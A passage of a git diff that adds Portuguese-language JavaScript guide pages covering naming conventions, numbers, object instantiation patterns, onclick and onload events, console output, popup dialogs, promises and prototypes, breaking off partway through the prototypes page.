+Ao fazer cálculos, é possível usar parênteses para priorizar quais números devem ser multiplicados juntos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/naming-convention-for-javascript/index.md b/client/src/guide/portuguese/javascript/naming-convention-for-javascript/index.md
new file mode 100644
index 0000000000..68f2ad3c9b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/naming-convention-for-javascript/index.md
@@ -0,0 +1,27 @@
+---
+title: Naming Convention for JavaScript
+localeTitle: Convenção de Nomenclatura para JavaScript
+---
+Aqui você terá uma visão geral dos diferentes casos de código que são amplamente usados.
+
+## camelCase
+
+Na programação, a formatação do camelCase para nomes de variáveis ​​é assim:
+```
+var camelCase = "lower-case first word, capitalize each subsequent word"; 
+```
+
+## PascalCase
+
+PascalCase (ou CamelCase) é uma variante do camelCase. Ele difere do camelCase capitalizando cada palavra, _incluindo_ a primeira palavra:
+```
+var PascalCase = "upper-case every word"; 
+```
+
+## snake\_case
+
+Outro caso popular chamado snake\_case separa cada palavra com sublinhados dessa maneira:
+```
+var snake_case = "lower-case everything, but separate words with underscores"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/numbers/index.md b/client/src/guide/portuguese/javascript/numbers/index.md
new file mode 100644
index 0000000000..54169299cd
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/numbers/index.md
@@ -0,0 +1,79 @@
+---
+title: Numbers
+localeTitle: Números
+---
+## Números
+
+A implementação do `number` s do JavaScript é baseada no `IEEE 754` , frequentemente chamado de "ponto flutuante".
+
+[IEEE 754 Link da Wikipédia](https://en.wikipedia.org/wiki/IEEE_754) [Visualização de ponto flutuante de precisão dupla IEEE 754](http://bartaz.github.io/ieee754-visualization/)
+
+Os literais numéricos são geralmente expressos como literais decimais de `base-10` .
+
+```javascript
+var foo = 47; 
+ var bar = 47.9; 
+```
+
+A parte inicial de um valor decimal, se `0` , é opcional:
+
+```javascript
+var same = 0.47; 
+ var stillSame = .47; 
+```
+
+Da mesma forma, a parte final (a fracional) de um valor decimal após o `.` , se `0` , é opcional:
+
+```javascript
+var a = 47.0; 
+ var b = 47.; 
+```
+
+Por padrão, a maioria dos números será gerada como decimais de `base-10` , com `0` s fracionários à direita removidos. Assim:
+
+```javascript
+var foo = 47.300; 
+ var bar = 47.0; 
+ 
+ foo; // 47.3 
+ bar; // 47 
+```
+
+`numbers` muito grandes ou muito pequenos podem ser escritos como:
+
+```javascript
+var foo = 47e8; // 4700000000 
+ var baz = 47e-8; // 00.00000047 
+```
+
+`toExponential` método pode ser usado para converter um `number` em sua `exponential notation` .
+
+```javascript
+var foo = 47e8; 
+ foo;  // 4700000000 
+ foo.toExponential()   //"47e8" 
+```
+
+Os números têm acesso a métodos integrados ao `Number.prototype` .
+
+Por exemplo: `toFixed()` método `toFixed()` formata um número com um número específico de dígitos à direita do decimal.
+
+```javascript
+var foo = 47.69; 
+ foo.toFixed(0);  // "48" 
+ foo.toFixed(1);  // "47.7" 
+ foo.toFixed(2);  // "47.69" 
+```
+
+> Digite `Number.prototype` no seu navegador e veja outros métodos disponíveis.
+
+#### Mais Informações:
+
+1.  [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type)
+2.  [Números JavaScript](https://www.w3schools.com/js/js_numbers.asp)
+
+#### Referências
+
+1.  [Tipos e gramática](https://github.com/getify/You-Dont-Know-JS/tree/master/types%20%26%20grammar) por Kyle Simpson.
+2.  [Especificação da linguagem ECMAScript: 4.3.20](https://www.ecma-international.org/ecma-262/5.1/#sec-4.3.20)
+3.  [Especificação da linguagem ECMAScript: 15.7 Number Objects](https://www.ecma-international.org/ecma-262/5.1/#sec-15.7)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/object-instantiation/functional/index.md b/client/src/guide/portuguese/javascript/object-instantiation/functional/index.md
new file mode 100644
index 0000000000..6f0a07c7c0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/object-instantiation/functional/index.md
@@ -0,0 +1,151 @@
+---
+title: Functional
+localeTitle: Funcional
+---
+```javascript
+var fun = function(a, b) { 
+  var funInstance = {}; 
+  funInstance.a = a; 
+  funInstance.b = b; 
+  funInstance.method1 = function() { 
+    // method code here 
+  } 
+  funInstance.method2 = function() { 
+    // method code here 
+  } 
+  funInstance.method3 = function() { 
+    // method code here 
+  } 
+  return funInstance; 
+ } 
+ var myFun = fun(1, 2); 
+ myFun.method1(); 
+```
+
+## Como reconheço isso?
+
+Instanciação de objeto funcional cria uma instância de classe com uma função, como as outras opções. A diferença é que todos os métodos associados também são definidos na função construtora.
+
+## Por que eu usaria isso?
+
+Como um novo conjunto de métodos é criado para cada instância do objeto e pode ocupar uma quantidade considerável de memória, a instanciação funcional é boa para quando você sabe que não estará trabalhando com muitas instâncias. Também é bom ter seu código facilmente compreendido por codificadores JavaScript novos e experientes, já que a instanciação é completamente autocontida e é fácil ver as relações entre os métodos e as instâncias do objeto.
+
+## Quais são os inconvenientes?
+
+O lado negativo com a Instanciação Funcional é que, se você fizesse quaisquer alterações em seu código (como adicionar mais métodos), quaisquer instâncias do objeto que foram criadas antes que essas alterações fossem feitas não seriam atualizadas. Você pode acabar com duas instâncias contendo informações de método diferentes.
+
+* * *
+
+## título: Funcional-Compartilhado
+
+```javascript
+var fun = function(a, b) { 
+  var funInstance = {}; 
+  funInstance.a = a; 
+  funInstance.b = b; 
+  extend(funInstance, funMethods); 
+  return funInstance; 
+ } 
+ var extend = function(to, from) { 
+  for (var key in from) { 
+    to[key] = from[key]; 
+  } 
+ } 
+ var funMethods = {}; 
+ funMethods.method1 = function() { 
+    // method code here 
+ } 
+ funMethods.method2 = function() { 
+    // method code here 
+ } 
+ funMethods.method3 = function() { 
+    // method code here 
+ } 
+ var myFun = fun(1, 2); 
+ myFun.method1(); 
+```
+
+## Como reconheço isso?
+
+A principal diferença entre Funcional e Funcional-Compartilhado, é que em Compartilhado Funcional compartilhamos nossos métodos. Em vez de declarar métodos em nossa função Instantiation, temos um objeto separado contendo todos os nossos métodos. Para usar os métodos, os estendemos em cada instância do objeto que está sendo criado.
+
+## Por que eu usaria isso?
+
+Funcional-Compartilhada nos permite usar referências a métodos, em vez de declarar e armazenar nossos métodos para cada instância de nosso objeto, economizando espaço.
+
+## Quais são os inconvenientes?
+
+A desvantagem é que, como os métodos estão sendo referenciados por meio de ponteiros para o objeto de métodos, se atualizarmos o objeto de métodos de alguma forma, as instâncias do objeto que foram criadas antes das alterações não serão atualizadas. Você pode acabar com duas instâncias do objeto referenciando duas versões diferentes dos métodos.
+
+* * *
+
+## título: Prototypal
+
+```javascript
+var fun = function(a, b) { 
+  var funInstance = Object.create(funMethods); 
+  funInstance.a = a; 
+  funInstance.b = b; 
+  return funInstance; 
+ } 
+ var funMethods = {}; 
+ funMethods.method1 = function() { 
+    // method code here 
+ } 
+ funMethods.method2 = function() { 
+    // method code here 
+ } 
+ funMethods.method3 = function() { 
+    // method code here 
+ } 
+ var myFun = fun(1, 2); 
+ myFun.method1(); 
+```
+
+## Como reconheço isso?
+
+O Prototypal é semelhante ao Functional-Shared, pois ambos usam um objeto de métodos separado para manter todos os métodos que serão compartilhados entre as instâncias do objeto que estamos criando. A diferença é que podemos usar a cadeia de protótipos. Podemos criar o objeto usando Object.create (prototype) para anexar os métodos à nossa instância de objeto. O objeto que está mantendo nossos métodos compartilhados é considerado o protótipo.
+
+## Por que eu usaria isso?
+
+Se você fizer alterações no seu protótipo depois de criar uma instância de objeto, essa instância será atualizada. Você não terminará com duas instâncias com o mesmo protótipo que tem métodos diferentes.
+
+## Quais são os inconvenientes?
+
+As desvantagens de usar esse método é que ele requer etapas extras e código extra. Nós temos que não apenas criar e retornar nosso objeto como antes, mas também temos que decorá-lo.
+
+* * *
+
+## título: Pseudoclassical
+
+```javascript
+var Fun = function(a, b) { 
+  // this = Object.create(Fun.prototype); 
+  this.a = a; 
+  this.b = b; 
+  // return this; 
+ } 
+ Fun.prototype.method1 = function() { 
+    // method code here 
+ } 
+ Fun.prototype.method2 = function() { 
+    // method code here 
+ } 
+ Fun.prototype.method3 = function() { 
+    // method code here 
+ } 
+ var myFun = new Fun(1, 2); 
+ myFun.method1(); 
+```
+
+## Como reconheço isso?
+
+A instanciação pseudo-clássica contém, de longe, a menor quantidade de código. Em vez de criar um novo objeto e retorná-lo, a nova palavra-chave faz isso para nós. Sob o capô, quando você usa a nova palavra-chave para instanciar um objeto, você cria um novo objeto usando this = Object.create (Object.prototype), em que isso se refere ao protótipo que é nomeado após a nova palavra-chave. Quando estamos definindo nossos métodos, usamos a palavra-chave prototype.
+
+## Por que eu usaria isso?
+
+Diz-se que o pseudo-clássico é o padrão de instanciação mais rápido, o que é útil se você estiver criando dezenas de milhares de instâncias. Também é o mais otimizado, pois utiliza a funcionalidade Javascript.
+
+## Quais são os inconvenientes?
+
+A desvantagem da Instanciação Pseudo-Clássica é que ela exige um pouco mais de conhecimento sobre o que o JavaScript está fazendo, especialmente com a palavra-chave this. Isso torna esse tipo de instanciação de objetos um pouco mais complexo para entender, especialmente se alguém estiver lendo seu código
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/object-instantiation/index.md b/client/src/guide/portuguese/javascript/object-instantiation/index.md
new file mode 100644
index 0000000000..e1e39d8dab
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/object-instantiation/index.md
@@ -0,0 +1,72 @@
+---
+title: Object Instantiation
+localeTitle: Instanciação de Objeto
+---
+## Instanciação de Objeto
+
+Em Javascript e na maioria das outras linguagens, um objeto contém uma série de propriedades, que são um par de chave e valor. Existem várias opções disponíveis quando você precisa construir um objeto.
+
+### Inicialize uma variável de objeto
+
+Você pode criar um objeto com propriedades pré-definidas da seguinte forma:
+
+```javascript
+let myObject = { 
+  name: "Dave", 
+  age: 33 
+ } 
+```
+
+### Criando um objeto vazio
+
+Isso cria um objeto vazio dentro da nossa variável myObject:
+
+```javascript
+let myObject = new Object(); 
+```
+
+Quando você deseja adicionar propriedades ao seu objeto, basta usar a notação de ponto ou a notação de colchetes com o nome da propriedade de sua escolha:
+
+```javascript
+myObject.name = "Johnny Mnemonic" 
+ myObject["age"] = 55 
+```
+
+### Usando uma função construtora
+
+Você pode definir uma função construtora que você pode usar para criar seus objetos:
+
+```javascript
+function Kitten(name, cute, color) { 
+  this.name = name, 
+  this.cute = cute, 
+  this.color = color 
+ } 
+```
+
+Você pode definir uma variável contendo uma instanciação deste objeto chamando a função construtora:
+
+```javascript
+let myKitten = new Kitten("Nibbles", true, "white") 
+```
+
+### Object.create ()
+
+O método Object.create () (primeiro definido no ECMAScript 5.1) permite criar objetos. Ele permite que você escolha o objeto de protótipo para seu novo objeto sem precisar definir uma função de construtor de antemão.
+
+```javascript
+// Our pre-defined object 
+ let kitten = { 
+  name: "Fluff", 
+  cute: true, 
+  color: "gray" 
+ } 
+ // Create a new object using Object.create(). kitten is used as the prototype 
+ let newKitten = Object.create(kitten) 
+ 
+ console.log(newKitten.name) // Will output "Fluff" 
+```
+
+#### Mais Informações
+
+[Artigo do MDN sobre como trabalhar com objetos](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/onclick-event/index.md b/client/src/guide/portuguese/javascript/onclick-event/index.md
new file mode 100644
index 0000000000..eb123124fa
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/onclick-event/index.md
@@ -0,0 +1,67 @@
+---
+title: Onclick Event
+localeTitle: Evento Onclick
+---
+## Evento Onclick
+
+O evento `onclick` em JavaScript permite que você, como programador, execute uma função quando um elemento é clicado.
+
+### Exemplo
+
+```javascript
+<button onclick="myFunction()">Click me</button> 
+ 
+ <script> 
+  function myFunction() { 
+    alert('Button was clicked!'); 
+  } 
+ </script> 
+```
+
+No exemplo simples acima, quando um usuário clica no botão, ele verá um alerta no navegador, mostrando que o `Button was clicked!` .
+
+### Adicionando `onclick` dinamicamente
+
+O evento `onclick` também pode ser adicionado programaticamente a qualquer elemento usando o código a seguir no exemplo a seguir:
+
+```javascript
+<p id="foo">click on this element.</p> 
+ 
+ <script> 
+  var p = document.getElementById("foo"); // Find the paragraph element in the page 
+  p.onclick = showAlert; // Add onclick function to element 
+ 
+  function showAlert(event) { 
+    alert("onclick Event triggered!"); 
+  } 
+ </script> 
+```
+
+### Nota
+
+É importante notar que usando o onclick podemos adicionar apenas uma função de ouvinte. Se você quiser adicionar mais, apenas use addEventListener (), que é a maneira preferida para adicionar listener de eventos.
+
+No exemplo acima, quando um usuário clica no elemento de `paragraph` no `html` , ele verá um alerta mostrando o `onclick Event triggered` .
+
+### Impedindo a ação padrão
+
+No entanto, se anexarmos `onclick` a links ( `a` tag do HTML), poderemos impedir que a ação padrão ocorra:
+
+```javascript
+<a href="https://guide.freecodecamp.org" onclick="myAlert()">Guides</a> 
+ 
+ <script> 
+  function myAlert(event) { 
+    event.preventDefault(); 
+    alert("Link was clicked but page was not open"); 
+  } 
+ </script> 
+```
+
+No exemplo acima, `event.preventDefault()` comportamento padrão de `a` elemento (link de abertura) usando `event.preventDefault()` dentro de nossa função de retorno de chamada `onclick` .
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onclick)
+
+#### Outros recursos
+
+[jQuery .on () Anexo do manipulador de eventos](https://api.jquery.com/on/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/onload-event/index.md b/client/src/guide/portuguese/javascript/onload-event/index.md
new file mode 100644
index 0000000000..09c69e3c42
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/onload-event/index.md
@@ -0,0 +1,31 @@
+---
+title: Onload Event
+localeTitle: Evento Onload
+---
+## Evento Onload
+
+O evento `onload` é usado para executar uma função JavaScript imediatamente após o carregamento de uma página.
+
+### Exemplo:
+
+```javascript
+<body onload="myFunction()"> 
+ 
+ <script> 
+  function myFunction() { 
+    alert('Page finished loading'); 
+  } 
+ </script> 
+```
+
+No exemplo acima, assim que a página da Web for carregada, a função `myFunction` será chamada, mostrando o alerta de `Page finished loading` da `Page finished loading` para o usuário.
+
+o evento `onload` é mais usado no elemento `<body>` para executar o script. Se estiver anexado ao `<body>` , o script será executado assim que a página da web tiver carregado completamente todo o conteúdo (imagens, arquivos de script, arquivos CSS, etc.).
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onload)
+
+#### Outros recursos
+
+[jQuery .on () Anexo do manipulador de eventos](https://api.jquery.com/on/) [Estouro de pilha: window.onload vs. document.onload](https://stackoverflow.com/questions/588040/window-onload-vs-document-onload)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/output/index.md b/client/src/guide/portuguese/javascript/output/index.md
new file mode 100644
index 0000000000..082baeca9b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/output/index.md
@@ -0,0 +1,105 @@
+---
+title: Output 
+localeTitle: Saída
+---
+## Saída
+
+Existem 4 maneiras mais comuns de enviar seus dados por meio do console. Estes serão utilizados a maior parte do seu processo de desenvolvimento.
+
+#### `console.log`
+
+É a maneira mais comum e usada de produzir os dados. É uma prática comum inserir alguns desses entre as instruções para entender como os dados estão fluindo e processados. Além disso, você pode usar `debugger` ou pontos de interrupção em devtools para fazer o mesmo sem poluir seu código.
+
+```javascript
+var numbers  = [ 1, 2, 3, 4, 5, 6, 7]; 
+ numbers.forEach(function(number){ 
+  console.log(number + ' is divisible by 2', number%2 == 0); 
+ }); 
+```
+
+#### `console.warn`
+
+Como você adivinhou pelo nome, isso é usado para mostrar avisos, e sua cor amarela típica o diferencia do erro red & `console.log` .
+
+```javascript
+function isAdult(age){ 
+  if(Number(age) < 18){ 
+    console.warn('You are not an adult'); 
+    return false; 
+   } 
+   return true; 
+ } 
+```
+
+#### `console.error`
+
+Como você pode imaginar, isso é usado ao lançar uma exceção ou com erro no código. Dá-lhe a mensagem de erro vermelha para agarrar a atenção rapidamente.
+
+#### `console.table`
+
+Suponha que você tenha uma lista de itens ou filmes em um objeto json e queira verificar isso em formato de tabela, então `console.table` é sua melhor aposta. Ele detecta automaticamente os cabeçalhos de linhas e colunas dos dados.
+
+_Tente executar o código abaixo no seu console_
+
+```javascript
+var data = { 
+  "colors": [ 
+    { 
+      "color": "black", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [255,255,255,1], 
+      "hex": "#000" 
+    }, 
+    { 
+      "color": "white", 
+      "category": "value", 
+      "rgba": [0,0,0,1], 
+      "hex": "#FFF" 
+    }, 
+    { 
+      "color": "red", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [255,0,0,1], 
+      "hex": "#FF0" 
+    }, 
+    { 
+      "color": "blue", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [0,0,255,1], 
+      "hex": "#00F" 
+    }, 
+    { 
+      "color": "yellow", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [255,255,0,1], 
+      "hex": "#FF0" 
+    }, 
+    { 
+      "color": "green", 
+      "category": "hue", 
+      "type": "secondary", 
+      "rgba": [0,255,0,1], 
+      "hex": "#0F0" 
+ 
+    }, 
+  ] 
+ } 
+ 
+ console.table(data.colors); 
+```
+
+Além disso, você pode controlar e filtrar o tipo de saída que deseja ver no console.
+
+1.  Todos
+2.  Verboso
+3.  Aviso
+4.  Erros
+
+#### Mais Informações:
+
+*   [Referência completa do objeto console pelo Google](https://developers.google.com/web/tools/chrome-devtools/console/console-reference)
+*   [Console MDN](https://developer.mozilla.org/en-US/docs/Web/API/Console)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/popup-boxes/index.md b/client/src/guide/portuguese/javascript/popup-boxes/index.md
new file mode 100644
index 0000000000..fd7cb4fc09
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/popup-boxes/index.md
@@ -0,0 +1,70 @@
+---
+title: Popup Boxes
+localeTitle: Caixas de pop-up
+---
+## Caixas de pop-up
+
+Caixas de pop-up (ou caixas de diálogo) são janelas modais usadas para notificar ou avisar o usuário ou para obter entrada do usuário.
+
+Caixas de popup impedem que o usuário acesse outros aspectos de um programa até que o pop-up seja fechado, portanto eles não devem ser usados ​​em demasia.
+
+Existem três tipos diferentes de métodos popup usados ​​em JavaScript: [window.alert ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/alert) , [window.confirm ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm) e [window.prompt ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt) .
+
+### Alerta
+
+O [método de alerta](https://developer.mozilla.org/en-US/docs/Web/API/Window/alert) exibe mensagens que não exigem que o usuário insira uma resposta. Uma vez que esta função é chamada, uma caixa de diálogo de alerta aparecerá com a mensagem especificada (opcional). Os usuários precisarão confirmar a mensagem antes que o alerta desapareça.
+
+### Exemplo:
+
+`window.alert("Welcome to our website");`
+
+![Exemplo de Alerta MDN](https://mdn.mozillademos.org/files/130/AlertHelloWorld.png)
+
+### confirme
+
+O [método confirm](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm) é semelhante a `window.alert()` , mas também exibe um botão de cancelamento no pop-up. Os botões retornam valores booleanos: true para OK e false para Cancel.
+
+### Exemplo:
+
+```javascript
+var result = window.confirm('Are you sure?'); 
+ if (result === true) { 
+    window.alert('Okay, if you're sure.'); 
+ } else { 
+    window.alert('You seem uncertain.'); 
+ } 
+```
+
+![MDN Confirmar Exemplo](https://mdn.mozillademos.org/files/7163/firefoxcomfirmdialog_zpsf00ec381.png)
+
+### Pronto
+
+O [método de prompt](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt) é normalmente usado para obter entrada de texto do usuário. Esta função pode ter dois argumentos, sendo ambos opcionais: uma mensagem para exibir ao usuário e um valor padrão a ser exibido no campo de texto.
+
+### Exemplo:
+
+`var age = prompt('How old are you?', '100');`
+
+![Exemplo de Prompt do MDN](https://mdn.mozillademos.org/files/11303/prompt.png)
+
+### Outras opções de design:
+
+Se você não estiver satisfeito com os pop-ups de JavaScript padrão, poderá substituir em várias bibliotecas de UI. Por exemplo, o SweetAlert fornece um bom substituto para os modais JavaScript padrão. Você pode incluí-lo em seu HTML por meio de um CDN (rede de entrega de conteúdo) e começar a usá-lo.
+
+```HTML
+<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> 
+```
+
+A sintaxe é assim: `swal(title, subtitle, messageType)`
+
+```javascript
+swal("Oops!", "Something went wrong on the page!", "error"); 
+```
+
+O código acima irá produzir o seguinte popup: ![Exemplo SweetAlert](https://ludu-assets.s3.amazonaws.com/lesson-content/rWqOoQXgDrSVSMrAKiZ9) O SweetAlert não é de forma alguma o único substituto para modais padrão, mas é limpo e fácil de implementar.
+
+#### Mais Informações:
+
+*   [MDN window.alert ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/alert)
+*   [MDN window.confirm ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm)
+*   [MDN window.prompt ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/promises/index.md b/client/src/guide/portuguese/javascript/promises/index.md
new file mode 100644
index 0000000000..cb7c8d79c4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/promises/index.md
@@ -0,0 +1,175 @@
+---
+title: Promises
+localeTitle: Promessas
+---
+## Promessas
+
+JavaScript é single threaded, o que significa que dois bits de script não podem ser executados ao mesmo tempo; eles têm que correr um após o outro. Um Promise é um objeto que representa a conclusão (ou falha) final de uma operação assíncrona e seu valor resultante.
+
+```javascript
+var promise = new Promise(function(resolve, reject) { 
+  // do thing, then… 
+ 
+  if (/* everything worked */) { 
+    resolve("See, it worked!"); 
+  } 
+  else { 
+    reject(Error("It broke")); 
+  } 
+ }); 
+```
+
+## Uma Promessa existe em um desses estados
+
+*   Pendente: estado inicial, nem cumprido nem rejeitado.
+*   Cumprida: operação concluída com sucesso.
+*   Rejeitado: falha na operação.
+
+O objeto Promise funciona como proxy para um valor não necessariamente conhecido quando a promessa é criada. Ele permite que você associe os manipuladores ao valor de sucesso ou motivo de falha de uma ação assíncrona. Isso permite que os métodos assíncronos retornem valores como métodos síncronos: em vez de retornar imediatamente o valor final, o método assíncrono retorna uma promessa de fornecer o valor em algum momento no futuro.
+
+## Usando 'Then' (Promise Chaining)
+
+Para fazer várias chamadas assíncronas e sincronizá-las uma após a outra, você pode usar o encadeamento de promessas. Isso permite usar um valor da primeira promessa em retornos de chamada posteriores subsequentes.
+
+```javascript
+Promise.resolve('some') 
+  .then(function(string) { // <-- This will happen after the above Promise resolves (returning the value 'some') 
+    return new Promise(function(resolve, reject) { 
+      setTimeout(function() { 
+        string += 'thing'; 
+        resolve(string); 
+      }, 1); 
+    }); 
+  }) 
+  .then(function(string) { // <-- This will happen after the above .then's new Promise resolves 
+    console.log(string); // <-- Logs 'something' to the console 
+  }); 
+```
+
+## API Promise
+
+Existem 4 métodos estáticos na classe Promise:
+
+*   Promise.resolve
+*   Promise.reject
+*   Promise.all
+*   Promise.race
+
+## Promessas podem ser encadeadas
+
+Ao escrever Promessas para resolver um problema em particular, você pode encadear as mesmas para formar a lógica.
+
+```javascript
+var add = function(x, y) { 
+  return new Promise((resolve,reject) => { 
+    var sum = x + y; 
+    if (sum) { 
+      resolve(sum); 
+    } 
+    else { 
+      reject(Error("Could not add the two values!")); 
+    } 
+  }); 
+ }; 
+ 
+ var subtract = function(x, y) { 
+  return new Promise((resolve, reject) => { 
+    var sum = x - y; 
+    if (sum) { 
+      resolve(sum); 
+    } 
+    else { 
+      reject(Error("Could not subtract the two values!")); 
+    } 
+  }); 
+ }; 
+ 
+ // Starting promise chain 
+ add(2,2) 
+  .then((added) => { 
+    // added = 4 
+    return subtract(added, 3); 
+  }) 
+  .then((subtracted) => { 
+    // subtracted = 1 
+    return add(subtracted, 5); 
+  }) 
+  .then((added) => { 
+    // added = 6 
+    return added * 2; 
+  }) 
+  .then((result) => { 
+    // result = 12 
+    console.log("My result is ", result); 
+  }) 
+  .catch((err) => { 
+    // If any part of the chain is rejected, print the error message. 
+    console.log(err); 
+  }); 
+```
+
+Isso é útil para seguir um paradigma de _programação funcional_ . Criando funções para manipulação de dados você pode encadear-los juntos para montar um final resultado. Se em algum ponto da cadeia de funções um valor for _rejeitado,_ a cadeia irá pular para o manipulador `catch()` mais próximo.
+
+Para mais informações sobre Programação [Funcional](https://en.wikipedia.org/wiki/Functional_programming) : [Programação Funcional](https://en.wikipedia.org/wiki/Functional_programming)
+
+## Geradores de Função
+
+Em versões recentes, o JavaScript introduziu mais maneiras de lidar com o Promises de maneira nativa. Uma dessas maneiras é o gerador de funções. Geradores de funções são funções "pausáveis". Quando usados ​​com o Promises, os geradores podem tornar o uso muito mais fácil de ler e parecer "síncrono".
+
+```javascript
+const myFirstGenerator = function* () { 
+  const one = yield 1; 
+  const two = yield 2; 
+  const three = yield 3; 
+ 
+  return 'Finished!'; 
+ } 
+ 
+ const gen = myFirstGenerator(); 
+```
+
+Aqui está nosso primeiro gerador, que você pode ver pela `function*` syntax. A variável `gen` que declaramos não rodará `myFirstGenerator` , mas sim "este gerador está pronto para uso".
+
+```javascript
+console.log(gen.next()); 
+ // Returns { value: 1, done: false } 
+```
+
+Quando `gen.next()` ele irá interromper o gerador e continuar. Como esta é a primeira vez que chamamos `gen.next()` ele executará o `yield 1` e fará `yield 1` pausa até chamarmos `gen.next()` novamente. Quando o `yield 1` é chamado, ele retornará para nós o `value` que foi gerado e se o gerador está ou não `done` .
+
+```javascript
+console.log(gen.next()); 
+ // Returns { value: 2, done: false } 
+ 
+ console.log(gen.next()); 
+ // Returns { value: 3, done: false } 
+ 
+ console.log(gen.next()); 
+ // Returns { value: 'Finished!', done: true } 
+ 
+ console.log(gen.next()); 
+ // Will throw an error 
+```
+
+Conforme continuamos chamando `gen.next()` ele continuará indo para o próximo `yield` e pausando a cada vez. Uma vez que não há mais `yield` , ele continuará a executar o restante do gerador, que neste caso simplesmente retorna `'Finished!'` . Se você chamar `gen.next()` novamente, ele lançará um erro quando o gerador terminar.
+
+Agora, imagine se cada `yield` deste exemplo fosse uma `Promise` , o próprio código pareceria extremamente síncrono.
+
+### Promise.all (iterável) é muito útil para vários pedidos para diferentes fontes
+
+O método Promise.all (iterável) retorna um único Promise que resolve quando todas as promessas no argumento iterável foram resolvidas ou quando o argumento iterável não contém promessas. Ele rejeita com a razão da primeira promessa que rejeita.
+
+```javascript
+var promise1 = Promise.resolve(catSource); 
+ var promise2 = Promise.resolve(dogSource); 
+ var promise3 = Promise.resolve(cowSource); 
+ 
+ Promise.all([promise1, promise2, promise3]).then(function(values) { 
+  console.log(values); 
+ }); 
+ // expected output: Array ["catData", "dogData", "cowData"] 
+```
+
+### Mais Informações
+
+Para mais informações sobre promessas: [Promessas](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/prototypes/index.md b/client/src/guide/portuguese/javascript/prototypes/index.md
new file mode 100644
index 0000000000..e83ad13be4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/prototypes/index.md
@@ -0,0 +1,106 @@
+---
+title: Prototypes
+localeTitle: Protótipos
+---
+## Protótipos
+
+JavaScript é uma linguagem baseada em protótipos, portanto, compreender o objeto de protótipo é um dos conceitos mais importantes que os profissionais de JavaScript precisam conhecer. Este artigo lhe dará uma breve visão geral do objeto Prototype através de vários exemplos. Antes de ler este artigo, você precisará ter um conhecimento básico sobre [`this` referência em JavaScript](/src/pages/javascript/this-reference/index.md) .
+
+### Objeto de protótipo
+
+Por uma questão de clareza, vamos examinar o seguinte exemplo:
+
+```javascript
+function Point2D(x, y) { 
+  this.x = x; 
+  this.y = y; 
+ } 
+```
+
+Como a função `Point2D` é declarada, uma propriedade padrão chamada `prototype` será criada para ela (note que, em JavaScript, uma função também é um objeto). O `prototype` propriedade é um objeto que contém um `constructor` propriedade e seu valor é `Point2D` função: `Point2D.prototype.constructor = Point2D` . E quando você chamar `Point2D` com uma `new` palavra _\-_ chave, _os objetos recém-criados herdarão todas as propriedades do_ `Point2D.prototype` . Para verificar isso, você pode adicionar um método chamado `move` into `Point2D.prototype` seguinte maneira:
+
+```javascript
+Point2D.prototype.move = function(dx, dy) { 
+  this.x += dx; 
+  this.y += dy; 
+ } 
+ 
+ var p1 = new Point2D(1, 2); 
+ p1.move(3, 4); 
+ console.log(p1.x); // 4 
+ console.log(p1.y); // 6 
+```
+
+O `Point2D.prototype` é chamado de **objeto de protótipo** ou **protótipo** de objeto `p1` e para qualquer outro objeto criado com a `new Point2D(...)` sintaxe `new Point2D(...)` . Você pode adicionar mais propriedades ao objeto `Point2D.prototype` que desejar. O padrão comum é declarar métodos para `Point2D.prototype` e outras propriedades serão declaradas na função de construtor.
+
+Objetos internos em JavaScript são construídos de maneira semelhante. Por exemplo:
+
+*   O protótipo de objetos criados com a `new Object()` sintaxe `new Object()` ou `{}` é `Object.prototype` .
+*   O protótipo de matrizes criadas com a `new Array()` sintaxe `new Array()` ou `[]` é `Array.prototype` .
+*   E assim por diante com outros objetos `RegExp` , como `Date` e `RegExp` .
+
+`Object.prototype` é herdado por todos os objetos e não possui protótipo (seu protótipo é `null` ).
+
+### Cadeia de protótipo
+
+O mecanismo da cadeia de protótipos é simples: quando você acessa uma propriedade `p` no objeto `obj` , o mecanismo JavaScript pesquisará essa propriedade dentro do objeto `obj` . Se o mecanismo falhar na pesquisa, ele continuará pesquisando no protótipo do objeto `obj` e assim por diante até atingir o `Object.prototype` . Se após a pesquisa terminar e nada for encontrado, o resultado será `undefined` . Por exemplo:
+
+```javascript
+var obj1 = { 
+  a: 1, 
+  b: 2 
+ }; 
+ 
